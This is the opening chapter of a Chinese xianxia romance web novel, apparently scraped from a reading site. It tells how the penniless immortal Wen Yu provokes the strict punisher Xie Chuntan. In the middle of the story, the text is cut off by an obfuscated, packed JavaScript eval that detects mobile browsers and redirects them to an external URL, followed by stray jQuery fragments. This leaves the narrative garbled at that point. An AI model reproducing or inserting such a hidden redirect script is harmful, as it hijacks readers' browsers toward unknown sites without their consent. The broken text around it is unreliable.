默认冷灰
24号文字
方正启体

1. chapter1

作者:myButterfly本书字数:K更新时间:
    泉水叮咚作响,思过崖内一片凝白,白衣少女盘腿坐于石台上首,乌发赤足,眉心一点朱砂,端的是钟灵毓秀,清风和睦。


    她单手托下颌,脊背塌着,身形瞧着毫无章法,可那份漫不经心的姿态,反倒衬得她潇洒不羁,自成风骨。


    离闻瑜不远处,少年面对十万大山跪立,脊背挺得笔直,肩头风雪堆叠,丝毫不影响他的体态,反而助长了他韧劲,像一颗疯长的竹。


    二者周身有股气场,俗称“井水不犯河水”。


    路过思过崖的仙童抻直了脑袋朝里张望,想见一见传闻中的两大人物。


    一个是司掌万物轮回的三灵圣母的徒弟,浮云元君,一个是帝君座下大弟子,天刑道君。


    两个都是上天庭响当当的人物。


    一个穷得叮当响,另一个,因其正直无私、雷霆手段而名声响叮当。


    小仙童跟在司命身后,小小的身躯抱着一箩筐的书册。


    小仙童看得太投入,丝毫没注意师父突然顿足,他脑袋直直撞到自家师父后膝,压得司命一个趔趄,险些跪趴在地。


    司命及时稳住身形,不忘掏出镜子,观察精心整理的发型有没有乱。


    镜中映出一张仙风道骨的脸,鹤发童颜,鬓角有根长须粘在脑后,司命小心翼翼用尾指将其勾出来,抚平。


    末了,司命不忘点点小徒儿脑袋,道:“你这痴儿,虑头不顾尾,将来修行怎了得!”


    仙童遭师父一顿斥,抱着箩筐,脑袋几乎埋进书册中。


    “罢了,你且侯在这,莫要乱跑,当心被哪位仙家的猫狗灵兽给叼了去。”


    小仙童原身是昆仑之巅一只候鸟,得了三灵圣母点化方能化形,如今在司命座下修习,一听师父恐吓,他当即吓得原地缩成一团,乖乖不动。


    司命揉了揉小徒弟的脑袋,提着箩筐折入苦寒崖。


    刚踏入一步,司命就被无缝不入的刺骨寒冷激得一颤。思过崖有禁制,任何仙家在这里都同凡人无异,帝君来了都得乖乖受严寒拷打,更别说他小小的司命,他默默掏出一件氅衣披上。


    司命远远看到跪在崖端的谢春檀,又见闻瑜从原本的跪着再到散漫地坐在思过崖界碑上,他眼皮子一跳。


    他抚了抚鬓角两条长须,对闻瑜道:“浮云元君。”


    闻瑜见司命来给谢春檀送公文,面上露出幸灾乐祸的笑,她笑眯眯打招呼:“司命,又来给谢意送公文啊。”


    都同天刑道君关在一处了也不见这位祖宗安分,足以见得天刑道君降不住浮云,更别提司命。


    司命目视前方,径自来到谢春檀身侧,将箩筐放到地上,拱手道:“天刑道君,这些是今日要批的罪文,今日犯戒仙家共计三百二十一,其中重大罪过一起,轻微罪过三百二十起。”


    “重大罪过乃月老殿内一个姻缘小仙所犯,姻缘树上的一线牵被她偷偷藏匿,至今下落不明。月老亲自拷问,也没能逼问出一线牵的下落,月老表示,还望天刑道君能够亲自出马。”


    谢春檀随手拿起一本断罪册翻看,须臾,他伸出手。司命福至心灵从袖中摸出灵豪笔递至他掌心,谢春檀提起灵豪笔旁若无人的开始断罪。


    界碑上,闻瑜将冻得发红的脚缩进裙摆中,盯着谢春檀的侧脸看。


    从她的角度望去,只能看见他如同玉砌的侧颜,他的肤色很白,几乎要与冰雪融为一体,偏生他还穿着白衣。


    一眼望去,可不是雪做的。闻瑜费了好大力才让这雪人为她融化滚烫,道心摇摇欲坠。


    当然,字面意义上的滚烫。


    那是闻瑜漫长人生中第一次见谢春檀失仪,少年视绳墨规矩于无物,满脸通红,满心满眼都是闻瑜——想弄死她。


    由于当时二人闹出的动静太大,闻瑜一不小心压瘸了帝君最爱的毕方鸟,毕方鸟本来只有一只脚,被闻瑜一压,它哭得满地乱爬,扑腾两只翅膀就去向帝君告状。


    帝君心疼灵宠,干脆大手一挥,将二人丢到思过崖苦修一月。


    要说闻瑜为何苦心积虑惹怒这位天刑道君,那可说来话长。


    闻瑜自飞升后拜入昆仑,是三灵圣母座下最小女弟子,三灵圣母为闻瑜推测过命格,闻瑜天生属于福禄绵亘命。从出生到归寂,闻瑜注定一辈子福运不断,禄泽不绝,偏生她神格有缺陷。


    据说是闻瑜飞升时因果缠身,尘缘未散,导致她神格有缺陷,少了财运,因此闻瑜虽说生活顺遂,偏偏命里缺财,但凡到手的钱财,通通不过三日就会因为各种原因失去。


    闻瑜是个财迷,她对此感到困惑,她找人算了又算,甚至将司命殿里的生死簿翻了个遍,愣是没在凡界找到她的“尘缘”。简言之,凡界没有这个人,他多半已经魂飞魄散。


    找不到人,因果未了,闻瑜注定神格缺陷一辈子,也就是穷一辈子。


    正当闻瑜陷入恐慌之际,她突然发现自己能敛财了,有一枚元宝至今还挂在她脖子上,是她这辈子唯一没有失去的钱财。


    这枚元宝是同谢春檀接触过后她才拿到手的。


    她又试了其他钱财,依旧没能逃得过“三日定律”,闻瑜更加确信,她能在谢春檀身上找到突破口。


    于是乎她顶风作案,趁谢春檀下凡捉拿堕仙之际,领着一众仙家聚众打双陆,闻瑜故意将赌注下得极大,有几个忌惮闻瑜天生福泽命格的仙家禁不住诱惑,怀着侥幸心理参与双陆局。


    结果自然是闻瑜赚得盆满钵满,对面几个输得倾家荡产。


    闻瑜捏准了这些仙家里定会有小肚鸡肠的偷偷找谢春檀告小状,她将一堆赢来的“赃物”招摇的摆在桌上,静待谢春檀到来,过了半日,他果真找上门。


    .


    谢春檀押着出逃堕仙赶往刑戒堂,准备审问一番,半途被一白须仙人拦路。


    那仙家对着比自己小数轮的少年哈腰驼背,义愤填膺道:“小仙路过南天门,但见那浮云元君大摇大摆设赌局,引众仙家聚众赌博,实乃恶劣至极,有辱我上天庭秩序!”


    “道君不过离去半日,那浮云元君便这般轻浮狂妄,简直是将您的脸面狠狠往地上踩!长此以往,上天庭戒律何在?您千百年来积攒的威严又该何存!”说到最后,他面红耳赤,唾沫横飞,瞧着坦荡如砥,似乎他真的在为上天庭考虑,为谢春檀忧思。


    谢春檀一个眼神淡淡扫过,如刀子般刮在他身上,蕴藏厚厚威压。


    仙家理直气壮的气势刹那矮上三截,他被谢春檀眼中赤裸裸的嘲讽羞得无地自容,顿时心声悔意,他不该来招惹这位。


    然而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092873|195513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,此时后悔已来不及。


    见谢春檀一言不发,大手一挥召出伴生法器言灵扇,猝不及对着仙家灵台拍下,将人拍得眼冒金星。


    又听他朗声道:“说实话。”


    传闻此扇扇骨乃神兽谛听尾骨而制,袭有谛听“明辨是非、正名醒神”之效,对着他人灵台一敲,所有谎言顿时无所遁形。


    仙家一张嘴管不住,一股脑将实话全部抖露出来。


    “那闻瑜在南天门公然设赌局,赌注大得很,我禁不住诱惑便参与进去,怎料她的福泽命格着实厉害,拼运气我拼不过她,连祖传的法器都赔了进去,我心头气不过,就想利用您来收拾她,顺带将我的宝贝趁乱夺回来。”


    仙家说完这番话,已是抖如糠筛,脸色发青。


    天刑道君冷笑一声,仙家再也兜不住胆子,扑哧跪倒在地,偏生被言灵扇控制着,求饶的话说不出口,只能乖乖静候谢春檀发话。


    “自己滚去刑戒堂,等本君断罪。”


    仙家不敢多言,歪歪扭扭滚向刑戒堂的方向。


    那堕仙看完一场闹剧,捧腹大笑道:“你招惹谁不好,偏生招惹谢意!你以为谁都和你一样没脑子吗?哈哈哈哈——”他还有心情打趣,“这浮云在昆仑时就克你,没想到来了上天庭也同样如此。她可是三灵圣母最疼的弟子,你敢得罪她么?”


    谢春檀眉眼阴沉,驳道:“用不着你管。等本君断完她的罪,再来找你算账。”


    堕仙嘴角笑容还未消失,当头就是一记折扇:“去刑戒堂水牢里等着。”随着“言听计从”咒打下,他面色一僵,不受控制地走向刑戒堂。


    见天刑道君的“言听计从”咒生效,押送堕仙的神兵这才纷纷松口气。这位堕仙在堕魔前来头可不小,也就天刑道君这样的大人物才能驯服。


    谢春檀押送完人,来不及断罪就匆匆赶至南天门,他远远瞧见白衣仙子托着下巴,冲他甜甜一笑,眉眼弯出个乖巧的弧度。


    “呀!谢意,好巧,你也是来打双陆的吗?”


    她靠这副讨人稀罕的容貌与乖巧的笑俘获上天庭一众上神欢心,几乎快要混成上天庭的宝贝。只有谢春檀知道,她这乖乖皮囊下藏着的究竟是什么太岁孽种。


    “你占用公地,聚众赌博,有辱上天庭门风,速速同我回刑戒堂断罪!”少年冷声道。


    闻瑜睁着桃花眼,无辜道:“我犯了什么罪?”


    眼前人油嘴滑舌,极难对付,谢春檀懒得费口舌,直奔主题,他祭出言灵扇就要打向闻瑜。


    闻瑜几次三番在他手中这把言灵扇上吃过亏,才不会乖乖站着等他打,她作害怕模样环胸瑟缩,仿佛面对的是什么凶神恶煞之辈:“谢意,你个欺软怕硬的家伙,仗着我师父不在又来欺负我!”


    提及三灵圣母,谢春檀脑中登时浮现出几幕不好的回忆。他曾在她这副口舌上栽过许多跟头,谢春檀决心不再听她废话,当即又祭出捆仙环,一对金色镯子模样的圆环法器直奔闻瑜。


    闻瑜不退反进,直冲谢春檀而来。


    此举正合他意,他正愁捉不住这泥鳅,谢春檀调整姿势,以便她迎上来的一瞬给她敲一记,下一瞬,腰间一紧,闻瑜扑进他怀中,双手环住他的腰身。


    谢春檀举着折扇的手瞬间僵在半空。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)